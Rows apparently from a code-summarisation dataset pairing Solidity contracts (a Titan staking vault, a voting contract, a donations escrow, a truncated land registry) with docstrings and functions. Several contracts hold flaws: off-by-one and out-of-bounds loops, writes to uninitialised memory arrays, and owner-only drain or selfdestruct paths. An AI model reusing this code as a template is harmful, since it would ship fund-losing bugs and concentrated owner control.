.mul(staker.stakedAmount) .div(1 ether); } function getSwapReward(address account) public view returns (uint256 available, uint256 pending) { StakerInfo memory staker = _stakers[account]; uint256 multiplier = getMultiplier(staker.lastClimedBlockForSwapReward, block.number); if (staker.stakedAmount <= 0 || multiplier <= 0) { return (0, 0); } uint256 titanPerblock = getTitanPerBlockForSwapReward(); uint256 pendingBlockNum = multiplier.mod(_claimPeriodForSwapReward); pending = titanPerblock .mul(pendingBlockNum) .mul(staker.stakedAmount) .div(1 ether); available = titanPerblock .mul(multiplier.sub(pendingBlockNum)) .mul(staker.stakedAmount) .div(1 ether); } function claimTitanAvailableReward() public returns (bool) { (uint256 available, ) = getTitanReward(_msgSender()); require(available > 0, "Vault: No available reward."); require( safeTitanTransfer(_msgSender(), available), "Vault: Failed to transfer." ); emit ClaimedTitanAvailableReward(_msgSender(), available); StakerInfo storage staker = _stakers[_msgSender()]; staker.lastClimedBlockForTitanReward = _getLastAvailableClaimedBlock( staker.lastClimedBlockForTitanReward, block.number, _claimPeriodForTitanReward ); return _sendLotteryAmount(); } function claimTitanReward() public returns (bool) { (uint256 available, uint256 pending) = getTitanReward(_msgSender()); require(available > 0 || pending > 0, "Vault: No rewards"); StakerInfo storage staker = _stakers[_msgSender()]; if (available > 0) { require( safeTitanTransfer(_msgSender(), available), "Vault: Failed to transfer." ); } if (pending > 0) { uint256 burnAmount = pending.mul(_burnFee).div(10000); _titan.burnFromVault(burnAmount); safeTitanTransfer(_msgSender(), pending.sub(burnAmount)); staker.lastClimedBlockForTitanReward = block.number; } else if (available > 0) { staker .lastClimedBlockForTitanReward = _getLastAvailableClaimedBlock( staker.lastClimedBlockForTitanReward, block.number, _claimPeriodForTitanReward ); } emit ClaimedTitanReward(_msgSender(), available, pending); return _sendLotteryAmount(); } function claimSwapAvailableReward() public returns (bool) { (uint256 available, ) = getSwapReward(_msgSender()); _swapAndClaimTokens(available); emit ClaimedSwapAvailableReward(_msgSender(), available); StakerInfo storage staker = _stakers[_msgSender()]; staker.lastClimedBlockForSwapReward = _getLastAvailableClaimedBlock( staker.lastClimedBlockForSwapReward, block.number, _claimPeriodForSwapReward ); return _sendLotteryAmount(); } function claimSwapReward() public returns (bool) { (uint256 available, uint256 pending) = getSwapReward(_msgSender()); if (pending > 0) { uint256 burnAmount = pending.mul(_burnFee).div(10000); _titan.burnFromVault(burnAmount); pending = pending.sub(burnAmount); } _swapAndClaimTokens(available.add(pending)); emit ClaimedSwapReward(_msgSender(), available.add(pending)); StakerInfo storage staker = _stakers[_msgSender()]; if (pending > 0) { staker.lastClimedBlockForSwapReward = block.number; } else { staker.lastClimedBlockForSwapReward = _getLastAvailableClaimedBlock( staker.lastClimedBlockForSwapReward, block.number, _claimPeriodForSwapReward ); } return _sendLotteryAmount(); } /** * @dev Withdraw Titan token from vault wallet to owner when only emergency! * */ function emergencyWithdrawToken() external onlyOwner { require(_msgSender() != address(0), "Vault: Invalid address"); uint256 tokenAmount = _titan.balanceOf(address(this)); require(tokenAmount > 0, "Vault: Insufficient amount"); _titan.transfer(_msgSender(), tokenAmount); emit EmergencyWithdrawToken(address(this), _msgSender(), tokenAmount); } function _swapAndClaimTokens(uint256 rewards) internal { require(rewards > 0, "Vault: No reward state"); uint256 wethOldBalance = IERC20(_weth).balanceOf(address(this)); // Swap TITAN -> WETH And Get Weth Tokens For Reward require( swapTokensForTokens( address(_titan), address(_weth), rewards, address(this) ), "Vault: Failed to swap from TITAN to WETH." ); // Get New Swaped ETH Amount uint256 wethNewBalance = IERC20(_weth).balanceOf(address(this)).sub(wethOldBalance); require(wethNewBalance > 0, "Vault: Invalid WETH amount."); uint256 yfiTokenReward = wethNewBalance.mul(_allocPointForYFI).div(10000); uint256 wbtcTokenReward = wethNewBalance.mul(_allocPointForWBTC).div(10000); uint256 wethTokenReward = wethNewBalance.sub(yfiTokenReward).sub(wbtcTokenReward); // Transfer Weth Reward Tokens From Contract To Staker require( IERC20(_weth).transfer(_msgSender(), wethTokenReward), "Vault: Faild to WETH" ); // Swap WETH -> YFI and give YFI token to User as reward require( swapTokensForTokens( address(_weth), address(_yfi), yfiTokenReward, _msgSender() ), "Vault: Failed to swap YFI." ); // Swap TITAN -> WBTC and give WBTC token to User as reward require( swapTokensForTokens( address(_weth), address(_wbtc), wbtcTokenReward, _msgSender() ), "Vault: Failed to swap WBTC." ); } /** * @dev internal function to send lottery rewards */ function _sendLotteryAmount() internal returns (bool) { if (!_enabledLottery || _collectedAmountForLottery <= 0) return false; uint256 usdcReserve = 0; uint256 ethReserve1 = 0; uint256 titanReserve = 0; uint256 ethReserve2 = 0; address token0 = _usdcETHV2Pair.token0(); if (token0 == address(_weth)) { (ethReserve1, usdcReserve, ) = _usdcETHV2Pair.getReserves(); } else { (usdcReserve, ethReserve1, ) = _usdcETHV2Pair.getReserves(); } token0 = _titanETHV2Pair.token0(); if (token0 == address(_weth)) { (ethReserve2, titanReserve, ) = _titanETHV2Pair.getReserves(); } else { (titanReserve, ethReserve2, ) = _titanETHV2Pair.getReserves(); } if (ethReserve1 <= 0 || titanReserve <= 0) return false; uint256 titanPrice = usdcReserve.mul(1 ether).div(ethReserve1).mul(ethReserve2).div( titanReserve ); uint256 lotteryValue = titanPrice.mul(_collectedAmountForLottery).div(1 ether); if (lotteryValue > 0 && lotteryValue >= _lotteryLimit) { uint256 amount = _lotteryLimit.mul(1 ether).div(titanPrice); if (amount > _collectedAmountForLottery) amount = _collectedAmountForLottery; _titan.transfer(_msgSender(), amount); _collectedAmountForLottery = _collectedAmountForLottery.sub(amount); _lotteryPaidOut = _lotteryPaidOut.add(amount); emit SentLotteryAmount(_msgSender(), amount, true); winnerInfo.push( WinnerInfo({ winner: _msgSender(), amount: amount, timestamp: block.timestamp }) ); } return false; } function safeTitanTransfer(address to, uint256 amount) internal returns (bool) { uint256 titanBal = _titan.balanceOf(address(this)); if (amount > titanBal) { _titan.transfer(to, titanBal); } else { _titan.transfer(to, amount); } return true; } function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } }
Withdraw Titan token from vault wallet to owner when only emergency!/
function emergencyWithdrawToken() external onlyOwner { require(_msgSender() != address(0), "Vault: Invalid address"); uint256 tokenAmount = _titan.balanceOf(address(this)); require(tokenAmount > 0, "Vault: Insufficient amount"); _titan.transfer(_msgSender(), tokenAmount); emit EmergencyWithdrawToken(address(this), _msgSender(), tokenAmount); }
1,308,546
// SPDX-License-Identifier: MIT pragma solidity 0.8.13; import "@openzeppelin/contracts/access/Ownable.sol"; /** * @title A simple Voting smart contract * @author Cyril Castagnet && JΓ©rΓ©mie Samson * @dev Simple voting system deployed with truffle */ contract Voting is Ownable { struct Voter { bool isRegistered; bool hasVoted; uint votedProposalId; } struct Proposal { string description; uint voteCount; } enum WorkflowStatus { RegisteringVoters, ProposalsRegistrationStarted, ProposalsRegistrationEnded, VotingSessionStarted, VotingSessionEnded, VotesTallied } uint public winningProposalID; uint8 arrayLimitation = 100; WorkflowStatus public workflowStatus; Proposal[] proposalsArray; mapping (address => Voter) voters; event VoterRegistered(address voterAddress); event WorkflowStatusChange(WorkflowStatus previousStatus, WorkflowStatus newStatus); event ProposalRegistered(uint proposalId, string description); event Voted (address voter, uint proposalId); /** * @dev Check if user is a registered voter */ modifier onlyVoters() { require(voters[msg.sender].isRegistered, "You're not a voter"); _; } /** * @dev Get a voter from a specified address * @param _addr Voter's address * @return Voter Voter object */ function getVoter(address _addr) external onlyVoters view returns (Voter memory) { return voters[_addr]; } /** * @dev Get a proposal from a specified proposal id * @param _id Proposal id * @return Proposal Proposal object */ function getOneProposal(uint _id) external onlyVoters view returns (Proposal memory) { return proposalsArray[_id]; } /** * @dev register a voter * @param _addr Voter's address */ function addVoter(address _addr) external onlyOwner { require(workflowStatus == WorkflowStatus.RegisteringVoters, "Voters registration is not open yet"); require(voters[_addr].isRegistered != true, "Already registered"); voters[_addr].isRegistered = true; emit VoterRegistered(_addr); } /** * @dev Add a proposal by a voter * @param _desc proposal description */ function addProposal(string memory _desc) external onlyVoters { require(workflowStatus == WorkflowStatus.ProposalsRegistrationStarted, "Proposals are not allowed yet"); require(keccak256(abi.encode(_desc)) != keccak256(abi.encode("")), "Vous ne pouvez pas ne rien proposer"); // facultatif require(proposalsArray.length <= arrayLimitation, "Only 100 proposals allowed for security purpose"); Proposal memory proposal; proposal.description = _desc; proposalsArray.push(proposal); emit ProposalRegistered(proposalsArray.length-1, proposal.description); } /** * @dev vote for a proposal by a voter * @param _id proposal id */ function vote( uint _id) external onlyVoters { require(workflowStatus == WorkflowStatus.VotingSessionStarted, "Voting session havent started yet"); require(voters[msg.sender].hasVoted != true, "You have already voted"); require(_id <= proposalsArray.length, "Proposal not found"); voters[msg.sender].votedProposalId = _id; voters[msg.sender].hasVoted = true; proposalsArray[_id].voteCount++; emit Voted(msg.sender, _id); } /** * @dev Start proposal registration function for the owner */ function startProposalsRegistering() external onlyOwner { require(workflowStatus == WorkflowStatus.RegisteringVoters, "Registering proposals cant be started now"); workflowStatus = WorkflowStatus.ProposalsRegistrationStarted; emit WorkflowStatusChange(WorkflowStatus.RegisteringVoters, WorkflowStatus.ProposalsRegistrationStarted); } /** * @dev End proposal registration function for the owner */ function endProposalsRegistering() external onlyOwner { require(workflowStatus == WorkflowStatus.ProposalsRegistrationStarted, "Registering proposals havent started yet"); workflowStatus = WorkflowStatus.ProposalsRegistrationEnded; emit WorkflowStatusChange(WorkflowStatus.ProposalsRegistrationStarted, WorkflowStatus.ProposalsRegistrationEnded); } /** * @dev Start voting session function for the owner */ function startVotingSession() external onlyOwner { require(workflowStatus == WorkflowStatus.ProposalsRegistrationEnded, "Registering proposals phase is not finished"); workflowStatus = WorkflowStatus.VotingSessionStarted; emit WorkflowStatusChange(WorkflowStatus.ProposalsRegistrationEnded, WorkflowStatus.VotingSessionStarted); } /** * @dev End voting session function for the owner */ function endVotingSession() external onlyOwner { require(workflowStatus == WorkflowStatus.VotingSessionStarted, "Voting session havent started yet"); workflowStatus = WorkflowStatus.VotingSessionEnded; emit WorkflowStatusChange(WorkflowStatus.VotingSessionStarted, WorkflowStatus.VotingSessionEnded); } /** * @dev Tally vote function for the owner */ function tallyVotes() external onlyOwner { require(workflowStatus == WorkflowStatus.VotingSessionEnded, "Current status is not voting session ended"); uint _winningProposalId; for (uint256 p = 0; p < proposalsArray.length; p++) { if (proposalsArray[p].voteCount > proposalsArray[_winningProposalId].voteCount) { _winningProposalId = p; } } winningProposalID = _winningProposalId; workflowStatus = WorkflowStatus.VotesTallied; emit WorkflowStatusChange(WorkflowStatus.VotingSessionEnded, WorkflowStatus.VotesTallied); } }
Start proposal registration function for the owner/
function startProposalsRegistering() external onlyOwner { require(workflowStatus == WorkflowStatus.RegisteringVoters, "Registering proposals cant be started now"); workflowStatus = WorkflowStatus.ProposalsRegistrationStarted; emit WorkflowStatusChange(WorkflowStatus.RegisteringVoters, WorkflowStatus.ProposalsRegistrationStarted); }
15,813,389
pragma solidity ^0.5.0; // Import key libraries for Ownable and SafeMath // import "../installed_contracts/zeppelin/contracts/math/SafeMath.sol"; // import "installed_contracts/zeppelin/contracts/ownership/Ownable.sol"; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior wwwin high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // This contract setup the owner. // This contract provides inheritance to the main contract. contract FromParent { address payable public owner; address payable public beneficiary = address(0); // Set beneficiary to null constructor() public { // Set at start of deployment owner = msg.sender; // Set the owner of contract } } // This is the Donations contract // The contract does the following: // 1. Initilizes the contract with a donation limit to be collected and a beneficiary. Similar to gofund me. // 2. Users donate to the contract. Donation must be at least 1 ether. // 3. Track donations until the donation limit has been reached, or terminate if at least 10% has been collected // 4. Send 90% of the donations to the beneficiary // 5. Owner gets 10% of the contract dopnation // This contract inherits from the FromParent contract. contract Donations is FromParent { using SafeMath for uint; mapping (address => uint) private balances; // Track the donate amount from the user bool private hasBeneficiary = false; // Set no beneficiary selected bool private isAtLimit = false; // Set default for reaching donation limit flag bool private stopped = false; // Set default circuit breaker/ emergency stop flag bool private lock = false; // Safeguard against reentrancy string public emergencyTxt = 'Emergency circuit breaker is NOT ACTIVE'; // Track emergency circuit breaker status string public lockTxt = 'Lock is NOT ACTIVE'; // Track lock status uint public targetAmt; // Track donation limit to be sought uint public donationAmt; // Track current donation so far. uint public oldDonationAmt; // Track donation amount before withdraw payout uint public oldBalance; // Track the balance before withdraw payout uint public newBalance; // Track the balance after withdraw payout uint private round_expired; // Track time to expire round uint private escrowAmt; // Track the escrow amount from the beneficiary uint private beneficiaryAmt; // Track the beneficiary amount from the total donations uint private ownerAmt; // Track the owner amount from the total donations uint private duration; // Set the valid duration for a round of fundraising // Setup modifier for only owner modifier isAdmin() { require(msg.sender == owner); _; } // Setup modifier for Beneficiary modifier hasNoBeneficiary() { require(hasBeneficiary == false, 'Beneficiary has already been setup.'); _; } // Setup modifier for circuit breaker / Emergency stop flag to control control modifier notInEmergency { require(stopped == false, 'Emergency stop is active.'); _; } // Setup modifier for circuit breaker / Emergency stop flag to control control modifier isInEmergency { require(stopped == true, 'Emergency stop is not active.'); _; } // Returns the address of the Beneficiary event LogSetBeneficiary( address accountAddress ); event LogRefresh( bool refresh ); // The constructor set up default values for the contract constructor() public { targetAmt = 0; // Set donaiion target limit to zero donationAmt = 0; // Set donation to zero isAtLimit = false; // Set donation flag as false lock = false; // Set default lock state as false duration = 604800; // Set default fundraising time duration in 7 days in seconds (604800) from now } // Setup fallback to protect contract function() external payable { revert(); } // This is a data view function and can be removed at completion. // function showIntValues() public view returns (uint, uint, uint, bool, bool, bool, bool) { // return (address(this).balance, targetAmt, donationAmt, isAtLimit, lock, stopped, hasBeneficiary); // } // This function set the donation amount and the beneficiary // These actions can only be define by the owner // The beneficiary must commit to pay at least 10% of the proposed amount to be raised before the conbtract can accept the funding request function setDonationAndBeneficiary(uint _targetAmt) hasNoBeneficiary notInEmergency public payable returns (bool) { require(msg.sender != owner, 'Owner cannot be beneficiary.'); // Owner cannot be a beneficiary require(_targetAmt > 0, 'Donation limit must be greater than zero.'); require(msg.value > _targetAmt.div(10), 'Escrow amount must be greater than 10% of the amount to be raised.'); require(msg.value < _targetAmt, 'Escrow amount must be less than the amount to be raised.'); hasBeneficiary = true; // Accepts beneficiary for the contract and prevent recalling of the function escrowAmt = msg.value; // Seup the escrow amount targetAmt = _targetAmt; // Setup the donation limit beneficiary = msg.sender; // Setup the beneficiary oldDonationAmt = 0; // Set to zero oldBalance = 0; // Set to zero newBalance = address(this).balance; // Update current contract balance round_expired = now; // set round expiration to start with current time. round_expired = round_expired.add(duration); // Add Duration to round expiration time. } // This function accepts donations from Users // The function also checks if the fundraising has expired and limit has not been reached function sendDonations() notInEmergency public payable returns (bool) { require(round_expired != 0, 'Must have active fundraising.'); // Check if active fundraising exists require(hasBeneficiary == true, 'Beneficiary has not been defined.'); // Donation must have a beneficiary require(isAtLimit == false, 'Donation limit has been reached.'); // Limit has not been reached require(msg.sender != owner, 'Owner cannot be a participant.'); // Owner cannot be a participant require(msg.sender != beneficiary, 'Beneficiary cannot be a participant.'); // Beneficiary cannot be a participant balances[msg.sender] = balances[msg.sender].add(msg.value); // Track the donated amt from the user. donationAmt = donationAmt.add(msg.value); // Track the current donations newBalance = address(this).balance; // Update current contract balance // Check if fundraising time has not reached limit if (now <= round_expired) { // Check if donation limit has been reached if (donationAmt >= targetAmt) { isAtLimit = true; // Set donation flag as having reach the target oldDonationAmt = donationAmt; // Set the old donation amount - Use for testing oldBalance = address(this).balance; // Set the before withdraw balance - Use for testing withdrawDonations(); // Call withdraw to faciliate payments. } else { isAtLimit = false; // Set donation flag as not having reach the target } } else { // Time has expired and limit has not been reached. // owner.transfer(address(this).balance); // time has expired, end fundraising and transfer escrow to owner. round_expired = 0; // Clear time isAtLimit = true; // Forced Set donation flag as having reach the target oldDonationAmt = donationAmt; // Set the old donation amount - Use for testing oldBalance = address(this).balance; // Set the before withdraw balance - Use for testing withdrawDonations(); // Call withdraw to faciliate payments. } } // This function withdraws for the beneficiary and owner // Set global lock to prevent reentrancy // Compute payments to beneficiary and owner // Send to beneficiary and owner // implicitly set the transfer to prevent a reentrancy attack // Set payout flag to prevent reentrancy. function withdrawDonations() notInEmergency public payable { require (isAtLimit == true, 'Has not reached donation limit.'); // must be at donation limit require(!lock); // Must not already in locked state - This uses a MUTEX lock lock = true; // Force locked state to prevent reenterancy ownerAmt = donationAmt.div(10); // Calculate the owner portion => 10% beneficiaryAmt = donationAmt.sub(ownerAmt); // Calculate the beneficiary payment => 90% beneficiaryAmt = beneficiaryAmt.add(escrowAmt); // Calculate the beneficiary payment adjusted for escrow payment beneficiary.transfer(beneficiaryAmt); // Transfer the beneficiary amount to beneficiary owner.transfer(ownerAmt); // Transfer the owner amount to owner newBalance = address(this).balance; // Set the after withddraw balance - Use for testing lock = false; // Clear Locked state hasBeneficiary = false; // Wait for new beneficiary donationAmt = 0; // Clear to zero and waits for new beneficiary targetAmt = 0; // Clear to zero and waits for new beneficiary beneficiaryAmt = 0; // Set to zero ownerAmt = 0; // Set to zero isAtLimit = false; // Set to false beneficiary = address(0); // Clear beneficiary } // Add function that restricts stopping a contract to be based on another action function toggleContractActive() isAdmin public { stopped = !stopped; // Set the cirbuit breaker switch if (stopped) { emergencyTxt = 'Emergency circuit breaker is ACTIVE'; } else { emergencyTxt = 'Emergency circuit breaker is NOT ACTIVE'; } } // This function unlocks the lock for withdraws, just in case the contract is bugged function unlockLock() isAdmin isInEmergency public payable { lock = !lock; // Set the lock if (lock) { lockTxt = 'Lock is ACTIVE'; } else { lockTxt = 'Lock is NOT ACTIVE'; } } // This function ends collections and send contract value to owner function endDonations() isAdmin isInEmergency public payable { selfdestruct(owner); // End contract and send any remaining funds to owner } }
This function withdraws for the beneficiary and owner Set global lock to prevent reentrancy Compute payments to beneficiary and owner Send to beneficiary and owner implicitly set the transfer to prevent a reentrancy attack Set payout flag to prevent reentrancy.
function withdrawDonations() notInEmergency public payable { }
15,787,670
pragma solidity >=0.4.21 <0.6.0; import "./Bank.sol"; contract Property { address payable admin; Bank public bankContract; struct User { string Name; string AdharNo; string PanNo; string email; string PhoneNo; } struct Land { address Owner; string ReraRegisteredNo; bool LandOnRoad; //string LandArea; string District; string State; uint256 Price; } uint256 public landCount = 0; mapping (address => User) public users; //user address => User struct address[] public userAcc; //stores address of every user added mapping (uint256 => Land) public userLands; //landId(i.e., landCount++) => Land struct uint256[] public lands; //stores rera registered number of every land added //rera registered number (its hash) => address of the owner requesting to buy the land mapping (uint256 => address) public landOwnerHistory; //rera registered number (its hash) => address of the owners mapping (uint256 => address) public landOwnerChangeRequest; //buyer address => loan amount mapping (address => mapping (uint256 => uint256)) public loan; event addUsers (address newUser); event addLands ( uint256 _landId, string district, uint256 price ); event changeOwnership ( string _reraRegisteredNo, address _oldOwner, address _newOwner ); event Transaction ( address sender, address receiver, uint256 value ); modifier onlyOwner(uint256 _landId) { require (userLands[_landId].Owner == msg.sender); _; } modifier verifiedByAdmin() { require (msg.sender == admin); _; } constructor () public { admin = msg.sender; } bool duplicateUser = false; //adds msg.sender as the new user function addUser (string memory _name, string memory _adharNo, string memory _panNo, string memory _email, string memory _phoneNo) public returns(bool) { address _address = msg.sender; //checks for double registration checkForDuplicateUser (_adharNo); //procced only if the requested adahr number is not registered earlier require (duplicateUser == false); //data is mapped in the users mapping users[_address] = User(_name, _adharNo, _panNo, _email, _phoneNo); //address is stored in the user addresses array, userAcc userAcc.push(msg.sender); //shout out the address of the new user added emit addUsers(msg.sender); return true; } //checks the requested adhar number to avoid double registration of a single user function checkForDuplicateUser (string memory _adharNo) private { for(uint256 i=1; i<=userAcc.length; i++) { //checks if the aadhar number of the new requesting user is similar to any already registered user //eliminates double registration of the same individual if(uint(keccak256(abi.encodePacked(users[userAcc[i]].AdharNo))) == uint(keccak256(abi.encodePacked(_adharNo)))) { "User ID Already Exists!"; duplicateUser = true; } duplicateUser = false; } } //users can be searched via their addresses //one user returned at a time function getUserDetails (address _address) public view returns(string memory, string memory, string memory) { return (users[_address].Name, users[_address].email, users[_address].PhoneNo); } //returns the user count and all the addresses of the users there in the platform function getAllUsers () public view returns (address[] memory, uint256) { return (userAcc, userAcc.length); } bool duplicateLand = false; //user can add new lands by calling this function, becoming the owner of the land function addLand (string memory _reraRegisteredNo, bool _landOnRoad, string memory _district, string memory _state, uint256 _price) public returns (bool) { landCount++; checkForDuplicateLand (_reraRegisteredNo); require (duplicateLand == false); //data is mapped to the userLands mapping, landId/landCount being the key userLands[landCount] = Land(msg.sender, _reraRegisteredNo, _landOnRoad, _district, _state, _price); //store the hash of the rera registered number in the lands array lands.push(uint(keccak256(abi.encodePacked(_reraRegisteredNo)))); //shout out for every new land added emit addLands(landCount, _district, _price); //address of the owner mapped with the hash of the rera registered number (key) //this mapping has the history of the owners of a land landOwnerHistory[uint(keccak256(abi.encodePacked(_reraRegisteredNo)))] = msg.sender; return true; } function checkForDuplicateLand (string memory _reraRegisteredNo) private { for(uint256 i = 1; i <= lands.length; i++) { //checks if rera registered number of the new land requested is similar to any of the previous lands if(uint(keccak256(abi.encodePacked(userLands[lands[i]].ReraRegisteredNo))) == uint(keccak256(abi.encodePacked(_reraRegisteredNo)))) { "Land Already Exists!"; duplicateLand = true; } duplicateLand = false; } } //returns the total land count and the array 'lands' giving the hash of all the rera registered numbers function getAllLands () public view returns (uint256[] memory, uint256) { return (lands, lands.length); } //any land can be searched using the landId and rera registered number of the land function getLandDetailsById (uint256 _landId, uint256 _reraRegisteredNo) public view returns(address, string memory, bool, string memory, string memory, uint256) { return (userLands[_landId].Owner, userLands[_landId].ReraRegisteredNo, userLands[_landId].LandOnRoad, userLands[_landId].District, userLands[_landId].State, userLands[_landId].Price); } //returns all the lands (number of lands and hash of the rera registered number) owned by the msg.sender function getLandDetails () public view returns(uint256, uint[] memory) { uint[] memory landIds; for(uint i = 0; i <= lands.length; i++){ if(userLands[i].Owner == msg.sender){ landIds[i] = uint(keccak256(abi.encodePacked(userLands[i+1].ReraRegisteredNo))); } } return (landIds.length, landIds); } //gets the balance of an address function getBalance(address addr) public view returns(uint256) { return addr.balance; } //address(0) = 0x0 => is used to check if the address is empty function buyLand (uint256 _landId, bool _bankLoan) public payable { //new owner should not be the same old owner require (userLands[_landId].Owner != msg.sender); //no ownership change request must exist //require (landOwnerChangeRequest[uint(keccak256(abi.encodePacked(userLands[_landId].ReraRegisteredNo)))] == address(0)); if (_bankLoan == true) { "Tell the bank to pay"; //calls for the transferLoan function in the Bank contract which transfers the amount bankContract.transferLoan(userLands[_landId].Price); loan[msg.sender][uint(keccak256(abi.encodePacked(userLands[_landId].ReraRegisteredNo)))] = userLands[_landId].Price; emit Transaction (address(bankContract), admin, userLands[_landId].Price); } else { //buyer must have enuf balance to pay to the seller //msg.value will be send to the contract address require (userLands[_landId].Price <= getBalance(msg.sender)); require (msg.value == userLands[_landId].Price); emit Transaction (msg.sender, admin, userLands[_landId].Price); } //ownership change is requested in the mapping landOwnerChangeRequest[uint(keccak256(abi.encodePacked(userLands[_landId].ReraRegisteredNo)))] = msg.sender; } //returns the addresses of all the buyers interested in buying a particular land function displayBuyers (string memory _reraRegisteredNo) public view returns (uint256, address[] memory) { address[] memory buyers; for (uint i = 0; i <= userAcc.length; i++) { //checks for the user address requested for buying that particular land if (userAcc[i] == landOwnerChangeRequest[uint(keccak256(abi.encodePacked(userLands[i+1].ReraRegisteredNo)))]) { buyers[i] = userAcc[i]; } } return (buyers.length, buyers); } function changeLandOwner (uint256 _landId, address _newOwner) onlyOwner(_landId) public { //ownership change request must exist require (landOwnerChangeRequest[uint(keccak256(abi.encodePacked(userLands[_landId].ReraRegisteredNo)))] != address(0)); //transfer coins from contract to seller //uint160 is used to explicitly convert the address as payable address(uint160(msg.sender)).transfer(userLands[_landId].Price); emit Transaction (admin, msg.sender, userLands[_landId].Price); //admin, i.e., the government approves the change of ownership; govSignOwnership(userLands[_landId].ReraRegisteredNo, userLands[_landId].Owner, _newOwner); //transfers the ownership to the buyer userLands[_landId].Owner = landOwnerChangeRequest[uint(keccak256(abi.encodePacked(userLands[_landId].ReraRegisteredNo)))]; refund(_landId); //empty the owner change request landOwnerChangeRequest[uint(keccak256(abi.encodePacked(userLands[_landId].ReraRegisteredNo)))] = address(0); } //approves the land ownership change and stores the ownership history in the mapping function govSignOwnership (string memory _reraRegisteredNo, address _owner, address _newOwner) private { emit changeOwnership (_reraRegisteredNo, _owner, _newOwner); landOwnerHistory[uint(keccak256(abi.encodePacked(_reraRegisteredNo)))] = _newOwner; } function refund (uint256 _landId) private { //refunds the money to all the other buyers who requested to buy the land for (uint i = 0; i <= userAcc.length; i++) { //checks for the user address requested for buying that particular land if (userAcc[i] == landOwnerChangeRequest[uint(keccak256(abi.encodePacked(userLands[_landId].ReraRegisteredNo)))] && userAcc[i] != userLands[_landId].Owner) { address(uint160(userAcc[i])).transfer(userLands[_landId].Price); } } } //returns the Ownership history of a land //returns the number of previous owners and their addresses function landOwnershipHistory (string memory _reraRegisteredNo, uint256 _landId) public returns (uint256, address[] memory) { address[] memory history; uint256 count = 0; for (uint256 i = 0; i <= lands.length; i++) { if (uint(keccak256(abi.encodePacked(_reraRegisteredNo))) == uint(keccak256(abi.encodePacked(userLands[_landId].ReraRegisteredNo)))) { count++; history[i] = userLands[_landId].Owner; } } return (count, history); } //only the land owner can call this function if he wants to change the price of the land function changeLandPrice (uint256 _landId, uint256 _newPrice) onlyOwner(_landId) public returns(bool) { //no ownership change request must exist require (landOwnerChangeRequest[uint(keccak256(abi.encodePacked(userLands[_landId].ReraRegisteredNo)))] == address(0)); userLands[_landId].Price = _newPrice; return true; } function getLandByPriceRange (uint256 _priceA, uint256 _priceB) public view returns(uint256, uint[] memory) { uint256 count = 0; uint[] memory landIds; for (uint256 i = 0; i <= lands.length; i++) { if (userLands[i].Price >= _priceA && userLands[i].Price <= _priceB) { count++; landIds[i] = uint(keccak256(abi.encodePacked(userLands[i+1].ReraRegisteredNo))); } } return (count, landIds); } /*function getLandByLandArea (string memory _landArea) public view returns(uint256) { uint256 count = 0; for (uint256 i = 1; i <= lands.length; i++) { if (uint(keccak256(abi.encodePacked(userLands[i].LandArea))) == uint(keccak256(abi.encodePacked(_landArea)))) { count++; //return (userLands[i].Owner, userLands[i].ReraRegisteredNo, 